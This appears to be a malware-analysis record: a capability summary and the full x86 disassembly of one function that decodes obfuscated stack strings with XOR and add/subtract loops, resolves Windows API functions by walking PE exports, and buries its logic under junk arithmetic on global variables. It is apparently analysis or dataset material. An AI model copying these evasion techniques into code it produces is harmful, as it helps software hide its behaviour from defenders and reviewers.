Function at 0x41fa63
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x124
push ebx
xor ebx, ebx
mov word [esp + 0x110], 0xd13
mov byte [esp + 0x112], 0x19
mov ecx, ebx
mov al, byte [esp + ecx + 0x110]
xor al, 0x7e
mov byte [esp + ecx + 0x9c], al
inc ecx
cmp ecx, 3
jl 0x41fa80
mov byte [esp + 0x9f], bl
mov ecx, ebx
mov dword [esp + 0xa4], 0x26233e3c
mov word [esp + 0xa8], 0x2a3b
mov byte [esp + 0xaa], 0x7c
mov al, byte [esp + ecx + 0xa4]
xor al, 0x4f
mov byte [esp + ecx + 0x84], al
inc ecx
cmp ecx, 7
jl 0x41fabc
mov cl, byte [0x42cb80]
and cl, 0x74
mov byte [esp + 0x8b], bl
mov byte [0x42cb6c], cl
cmp dword [0x42e208], ebx
je 0x41fb1d
mov eax, dword [0x42cb88]
and eax, 0x64451003
or eax, 0x8c3b0
mov dword [0x42cb80], eax
movzx eax, byte [0x42cb64]
imul eax, eax, 0x54577007
mov dword [0x42cb88], eax
mov al, 1
jmp 0x420660
movzx eax, word [0x42cb5c]
lea edx, [esp + 0x84]
xor eax, 0x8d04116
mov byte [esp + 0x127], bl
mov dword [0x42cb80], eax
movzx eax, cl
lea ecx, [esp + 0x9c]
push esi
add eax, 0x69ebc279
push edi
mov dword [0x42cb88], eax
call fcn.0041d967
mov edi, eax
mov dword [esp + 0xa0], 0x5c
mov dword [esp + 0x9c], 0x2f
test edi, edi
je 0x41feed
movzx eax, byte [0x42cb88]
imul eax, eax, 0xab
add byte [0x42cb6c], 0xc1
mov byte [0x42cb64], al
movzx eax, word [0x42cb5c]
imul eax, eax, 0x1abe42d2
mov dword [0x42cb88], eax
imul eax, eax, 0x39044e73
mov dword [0x42cb80], eax
lea eax, [esp + 0x94]
push eax
push edi
call fcn.00405b40
pop ecx
mov edx, eax
mov ecx, edi
call fcn.0040f780
mov dl, byte [0x42cb80]
mov ebx, eax
pop ecx
mov cl, byte [0x42cb6c]
add dl, 0x60
add cl, 0x73
mov dword [esp + 0xb0], ebx
mov byte [0x42cb64], cl
mov byte [0x42cb6c], dl
test ebx, ebx
je 0x41fec5
movzx ecx, dl
mov eax, 0xafa0
or cx, ax
movzx eax, dl
xor eax, 0x708fb876
mov word [0x42cb5c], cx
mov dword [0x42cb80], eax
movzx eax, cx
sub eax, 0x18d66daa
mov dword [0x42cb88], eax
movzx eax, al
imul eax, eax, 0x51
push 0x400
mov byte [0x42cb6c], al
call fcn.0040570b
pop ecx
mov cl, byte [0x42cb88]
mov esi, eax
add cl, 0x69
mov byte [0x42cb64], cl
test esi, esi
je 0x41fea2
movzx eax, byte [0x42cb6c]
mov edx, 0xd016cbb7
movzx ecx, cl
or ecx, 0xf7dddf72
mov dword [0x42cb80], ecx
mov ecx, 0x6dac
or ax, cx
xor ecx, ecx
mov word [0x42cb5c], ax
inc ecx
or al, 0xea
sub al, 0x44
push esi
push 0x200
mov byte [0x42cb64], al
call fcn.00415333
call eax
test eax, eax
je 0x41fe9c
push 0x5b
mov dword [esp + 0x11c], 0xc7c7bf89
xor ecx, ecx
pop ebx
movzx eax, byte [esp + ecx + 0x118]
mov edx, 0xff
sub ax, bx
and ax, dx
mov word [esp + ecx*2 + 0x11c], ax
inc ecx
cmp ecx, 4
jl 0x41fcaa
xor dword [0x42cb88], 0x1fd61a6b
xor eax, eax
mov word [esp + 0x124], ax
mov al, byte [0x42cb6c]
add al, 0x1c
mov byte [0x42cb64], al
movzx eax, al
imul eax, eax, 0x4d7ec65e
push esi
and eax, 0x8a04cfe7
imul eax, eax, 0xd2dcbf7
mov dword [0x42cb80], eax
call fcn.0040581e
mov edx, dword [0x42cb88]
mov ebx, eax
pop ecx
mov ecx, edx
mov dword [esp + 0x118], ebx
xor ecx, 0x38b5
movzx eax, cx
mov dword [esp + 0x98], eax
movzx eax, word [esi + ebx*2 - 2]
mov word [0x42cb5c], cx
movzx ebx, cx
cmp ax, word [esp + 0xa0]
je 0x41fd9f
movzx ebx, cx
cmp ax, word [esp + 0x9c]
je 0x41fd9f
mov ebx, dword [esp + 0x118]
movzx edx, cx
xor edx, 0x16a29179
push 0x5c
pop eax
mov word [esi + ebx*2], ax
lea eax, [edx + 0x51a1]
mov dword [0x42cb88], edx
movzx ecx, ax
mov eax, dword [esp + 0x98]
and eax, 0xf9
mov word [0x42cb5c], cx
imul eax, eax, 0x512aec70
mov dword [0x42cb80], eax
xor eax, eax
mov word [esi + ebx*2 + 2], ax
mov ebx, ecx
movzx eax, dl
lea ecx, [esp + 0x34]
imul eax, eax, 0xc2
and bl, 0x49
push 0x10
add bl, 0x6e
pop edx
mov byte [0x42cb6c], bl
mov byte [0x42cb64], al
call fcn.00422b6e
mov al, byte [0x42cb80]
xor al, 0x9c
mov byte [0x42cb6c], al
add al, 0x1f
mov byte [0x42cb64], al
movzx eax, al
sub eax, 0x2df2fceb
mov dword [0x42cb88], eax
lea eax, [esp + 0x34]
push eax
push esi
call fcn.00405bcb
mov ax, word [0x42cb5c]
mov ecx, 0x1eba
add ax, cx
movzx ecx, ax
mov word [0x42cb5c], ax
mov eax, ecx
and eax, 0x6d70cdf9
mov dword [0x42cb88], eax
imul eax, ecx, 0xeb1f1eaa
mov dword [0x42cb80], eax
lea eax, [esp + 0x124]
push eax
push esi
call fcn.00405bcb
mov al, byte [0x42cb5c]
mov ecx, esi
push dword [esp + 0xa4]
mov ebx, dword [esp + 0xc4]
and al, 0xbe
mov byte [0x42cb64], al
mov edx, ebx
mov eax, dword [0x42cb88]
and eax, 0x5e5b
mov word [0x42cb5c], ax
call fcn.00422cd0
add esp, 0x14
test al, al
je 0x41fe9c
imul ecx, dword [0x42cb88], 0x791511fb
mov byte [esp + 0x12f], 1
mov dword [0x42e204], esi
mov eax, ecx
mov dword [0x42cb88], ecx
and eax, 0x6b41
xor cl, 0xbe
mov word [0x42cb5c], ax
mov byte [0x42cb64], cl
jmp 0x41fea2
mov cl, byte [0x42cb64]
movzx eax, cl
or cl, 0x1b
or eax, 0x47331915
mov byte [0x42cb6c], cl
push ebx
mov dword [0x42cb80], eax
call fcn.004056f0
mov dl, byte [0x42cb6c]
pop ecx
movzx eax, dl
mov ecx, 0x4163
or ax, cx
push edi
mov word [0x42cb5c], ax
call fcn.004056f0
mov ax, word [0x42cb5c]
xor ebx, ebx
pop ecx
mov cl, byte [0x42cb64]
jmp 0x41fefe
mov ax, word [0x42cb5c]
mov cl, al
xor cl, 0xe1
mov byte [0x42cb64], cl
and al, 0x34
cmp byte [esp + 0x12f], 0
mov byte [0x42cb6c], al
jne 0x41ffbb
movzx edx, cl
mov esi, 0xcc36
mov eax, edx
or eax, 0xee43fb5b
mov dword [0x42cb80], eax
mov al, cl
sub al, 0x39
mov byte [0x42cb6c], al
movzx eax, al
and ax, si
mov esi, dword [0x42e204]
mov word [0x42cb5c], ax
test esi, esi
je 0x41ff96
or al, 0x55
xor edx, 0x691cbc0a
mov byte [0x42cb6c], al
movzx eax, al
sub eax, 0x2d2ff8fb
mov dword [0x42cb80], edx
push esi
mov dword [0x42cb88], eax
call fcn.004056f0
movzx eax, word [0x42cb5c]
sub eax, 0x59436893
mov dword [0x42e204], ebx
mov dword [0x42cb80], eax
mov al, byte [0x42cb88]
pop ecx
mov cl, byte [0x42cb64]
or al, 0x6c
mov byte [0x42cb6c], al
movzx eax, cl
mov ecx, 0x7f86
and ax, cx
mov word [0x42cb5c], ax
movzx eax, ax
add eax, 0x6b2b3b83
mov dword [0x42cb88], eax
xor al, al
jmp 0x42065e
push dword [0x42e204]
mov ecx, 0xdbf7
mov dword [0x42cb88], 0x973153e1
mov word [0x42cb5c], cx
add al, 0x26
xor ecx, ecx
mov byte [esp + 0x133], bl
mov edx, 0xf6e264ab
mov dword [0x42cb80], 0x4ae77133
inc ecx
mov byte [0x42cb64], al
call fcn.00415333
call eax
mov dl, byte [0x42cb64]
mov esi, eax
movzx ecx, dl
xor ecx, 0x105f7229
mov dword [0x42e208], esi
mov dword [0x42cb88], ecx
or cl, 0x2f
mov byte [0x42cb6c], cl
test esi, esi
je 0x4205d2
push 0x5b
pop edx
push 0x5c
pop eax
mov byte [esp + 0x11c], dl
mov ecx, ebx
mov word [esp + 0x11d], 0x5459
mov byte [esp + 0x11f], 0x51
mov byte [esp + 0x120], al
mov dword [esp + 0x121], 0x57471b4d
mov word [esp + 0x125], 0x4d58
mov byte [esp + 0x127], 0x56
mov al, byte [esp + ecx + 0x11c]
add al, 0x18
mov byte [esp + ecx + 0xa8], al
inc ecx
cmp ecx, 0xc
jl 0x420071
mov byte [esp + 0xb4], bl
mov ecx, ebx
mov dword [esp + 0x108], 0xd9dce1e3
mov dword [esp + 0x10c], 0xcfa3d5e4
mov dword [esp + 0x110], 0xded5e0df
mov word [esp + 0x114], 0xe6cf
mov byte [esp + 0x116], 0xa2
mov al, byte [esp + ecx + 0x108]
sub al, 0x70
mov byte [esp + ecx + 0x7c], al
inc ecx
cmp ecx, 0xf
jl 0x4200c3
mov byte [esp + 0x8b], bl
mov ecx, ebx
mov dword [esp + 0xf4], 0x2a2d3234
mov dword [esp + 0xf8], 0x20f42635
mov dword [esp + 0xfc], 0x31263331
mov dword [esp + 0x100], 0x20263322
mov word [esp + 0x104], 0xf337
mov al, byte [esp + ecx + 0xf4]
add al, 0x3f
mov byte [esp + ecx + 0x54], al
inc ecx
cmp ecx, 0x12
jl 0x420115
mov byte [esp + 0x66], bl
mov ecx, ebx
mov dword [esp + 0x11c], 0x2124292b
mov dword [esp + 0x120], 0x17eb1d2c
mov dword [esp + 0x124], 0x281d2c2b
mov al, byte [esp + ecx + 0x11c]
add al, 0x48
mov byte [esp + ecx + 0xf8], al
inc ecx
cmp ecx, 0xc
jl 0x42014f
push 0x2f
pop eax
mov byte [esp + 0x104], bl
mov ecx, ebx
mov dword [esp + 0xe0], 0x393c4143
mov word [esp + 0xe4], 0x3544
mov byte [esp + 0xe6], 3
mov byte [esp + 0xe7], al
mov dword [esp + 0xe8], 0x453c3f33
mov word [esp + 0xec], 0x3e3d
mov byte [esp + 0xee], al
mov dword [esp + 0xef], 0x44483544
mov al, byte [esp + ecx + 0xe0]
add al, 0x30
mov byte [esp + ecx + 0x20], al
inc ecx
cmp ecx, 0x13
jl 0x4201bc
mov byte [esp + 0x33], bl
mov ecx, ebx
mov dword [esp + 0xcc], 0x55585d5f
mov dword [esp + 0xd0], 0x4b1f5160
mov byte [esp + 0xd4], 0x4f
mov byte [esp + 0xd5], dl
mov dword [esp + 0xd6], 0x5a596158
mov word [esp + 0xda], 0x4e4b
mov byte [esp + 0xdc], 0x58
mov byte [esp + 0xdd], dl
mov byte [esp + 0xde], 0x4e
mov al, byte [esp + ecx + 0xcc]
add al, 0x14
mov byte [esp + ecx + 0xc], al
inc ecx
cmp ecx, 0x13
jl 0x420226
movaps xmm1, xmmword [str._a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_a_r_r_r_r_r_r_r_r_r_r_r_r_r_r_r_r]
mov ecx, ebx
mov dword [esp + 0x108], 0x62656a6c
mov dword [esp + 0x10c], 0x582c5e6d
mov dword [esp + 0x110], 0x5a67625f
mov dword [esp + 0x114], 0x5e736265
movups xmm0, xmmword [esp + 0x108]
mov byte [esp + 0x1f], bl
mov byte [esp + 0x78], bl
paddb xmm1, xmm0
mov dword [esp + 0x11c], 0x1d180507
movups xmmword [esp + 0x68], xmm1
mov dword [esp + 0x120], 0x2b471100
mov dword [esp + 0x124], 0x71b1817
mov byte [esp + 0x128], 0x11
mov al, byte [esp + ecx + 0x11c]
xor al, 0x74
mov byte [esp + ecx + 0x108], al
inc ecx
cmp ecx, 0xd
jl 0x4202b0
mov byte [esp + 0x115], bl
mov ecx, ebx
mov dword [esp + 0xb8], 0xbcbfc4c6
mov dword [esp + 0xbc], 0xb286b8c7
mov dword [esp + 0xc0], 0xc8bfc2b6
mov dword [esp + 0xc4], 0xb5b2c1c0
mov dword [esp + 0xc8], 0xc6b8c7cc
mov al, byte [esp + ecx + 0xb8]
sub al, 0x53
mov byte [esp + ecx + 0x3c], al
inc ecx
cmp ecx, 0x14
jl 0x420306
mov cl, byte [0x42cb80]
mov edi, 0x42d750
mov al, cl
mov byte [esp + 0x50], bl
push 0x24
and al, 0x16
and cl, 0x8b
push ebx
push edi
mov byte [0x42cb6c], al
mov byte [0x42cb64], cl
call fcn.00403960
mov al, byte [0x42cb5c]
add esp, 0xc
xor al, 0xf2
xor ebx, ebx
mov byte [0x42cb64], al
mov esi, 0x779af737
lea eax, [esp + 0xa8]
inc ebx
push eax
push dword [0x42e208]
mov edx, esi
mov ecx, ebx
call fcn.00415333
call eax
mov dword [0x42d750], eax
mov edx, esi
mov eax, dword [0x42cb80]
mov ecx, ebx
add eax, 0x432c
mov word [0x42cb5c], ax
mov al, byte [0x42cb64]
xor al, 0xf2
mov byte [0x42cb6c], al
lea eax, [esp + 0x7c]
push eax
push dword [0x42e208]
call fcn.00415333
call eax
movzx ecx, word [0x42cb5c]
mov edx, esi
mov dword [0x42d754], eax
mov eax, 0x4294
imul ecx, eax
lea eax, [esp + 0x54]
push eax
push dword [0x42e208]
mov word [0x42cb5c], cx
mov ecx, ebx
call fcn.00415333
call eax
mov dword [0x42d758], eax
mov edx, esi
imul eax, dword [0x42cb88], 0x76965683
mov ecx, ebx
mov dword [0x42cb80], eax
lea eax, [esp + 0xf8]
push eax
push dword [0x42e208]
call fcn.00415333
call eax
mov dword [0x42d75c], eax
mov edx, esi
mov al, byte [0x42cb80]
mov ecx, ebx
or al, 0x44
mov byte [0x42cb64], al
lea eax, [esp + 0x20]
push eax
push dword [0x42e208]
call fcn.00415333
call eax
sub dword [0x42cb88], 0x40b54b18
mov edx, esi
mov dword [0x42d760], eax
mov ecx, ebx
lea eax, [esp + 0xc]
push eax
push dword [0x42e208]
call fcn.00415333
call eax
mov dword [0x42d764], eax
mov edx, esi
imul eax, dword [0x42cb80], 0x11e4b7fc
mov ecx, ebx
mov dword [0x42cb80], eax
mov al, byte [0x42cb5c]
xor al, 0x98
mov byte [0x42cb6c], al
lea eax, [esp + 0x68]
push eax
push dword [0x42e208]
call fcn.00415333
call eax
mov ecx, dword [0x42cb80]
mov edx, esi
mov dword [0x42d768], eax
mov eax, ecx
or eax, 0x5fb36230
xor cl, 0x6d
mov dword [0x42cb88], eax
lea eax, [esp + 0x108]
push eax
push dword [0x42e208]
mov byte [0x42cb6c], cl
mov ecx, ebx
call fcn.00415333
call eax
mov dword [0x42d76c], eax
mov edx, esi
mov eax, 0x1d61
mov ecx, ebx
or word [0x42cb5c], ax
mov al, byte [0x42cb88]
xor al, 0x86
mov byte [0x42cb64], al
imul eax, dword [0x42cb80], 0xf82b47fb
mov dword [0x42cb80], eax
lea eax, [esp + 0x3c]
push eax
push dword [0x42e208]
call fcn.00415333
call eax
mov dl, byte [0x42cb6c]
movzx ecx, dl
imul ebx, ecx, 0xeb640cbd
cmp dword [0x42d750], 0
mov dword [0x42d770], eax
mov dword [0x42cb88], ebx
je 0x420598
cmp dword [0x42d758], 0
je 0x420598
cmp dword [0x42d75c], 0
je 0x420598
cmp dword [0x42d760], 0
je 0x420598
cmp dword [0x42d768], 0
je 0x420598
cmp dword [0x42d76c], 0
je 0x420598
cmp dword [0x42d754], 0
je 0x420598
test eax, eax
je 0x420598
cmp dword [0x42d764], 0
je 0x420598
mov esi, dword [0x42e208]
or ebx, 0x7474521d
mov cl, bl
mov byte [esp + 0x12f], 1
and dl, 0xd0
or cl, 0xed
sub cl, 0x3f
mov byte [0x42cb64], dl
mov byte [0x42cb6c], cl
jmp 0x4205d8
movzx ecx, dl
mov eax, 0xa177
imul ecx, eax
push 0x24
push 0
push edi
mov word [0x42cb5c], cx
sub cl, 0x5e
mov byte [0x42cb64], cl
call fcn.00403960
mov cl, byte [0x42cb6c]
add esp, 0xc
mov esi, dword [0x42e208]
mov dl, byte [0x42cb64]
mov ebx, dword [0x42cb80]
lea eax, [ebx - 0x4e052472]
mov bl, byte [esp + 0x12f]
mov dword [0x42cb88], eax
movzx eax, word [0x42cb5c]
add eax, 0x8bb776e0
mov dword [0x42cb80], eax
test bl, bl
jne 0x42064a
test esi, esi
je 0x42064a
add eax, 0xfc146de6
and cl, 6
mov dword [0x42cb88], eax
mov edx, 0xaf12bdb1
imul eax, eax, 0xcea1
mov byte [0x42cb64], cl
xor ecx, ecx
push esi
inc ecx
mov word [0x42cb5c], ax
call fcn.00415333
call eax
mov dl, byte [0x42cb64]
movzx eax, dl
imul eax, eax, 0x19
and dword [0x42e208], 0
mov byte [0x42cb6c], al
movzx edx, dl
mov ecx, 0x4b9
imul edx, ecx
mov al, bl
mov word [0x42cb5c], dx
pop edi
pop esi
pop ebx
add esp, 0x124
ret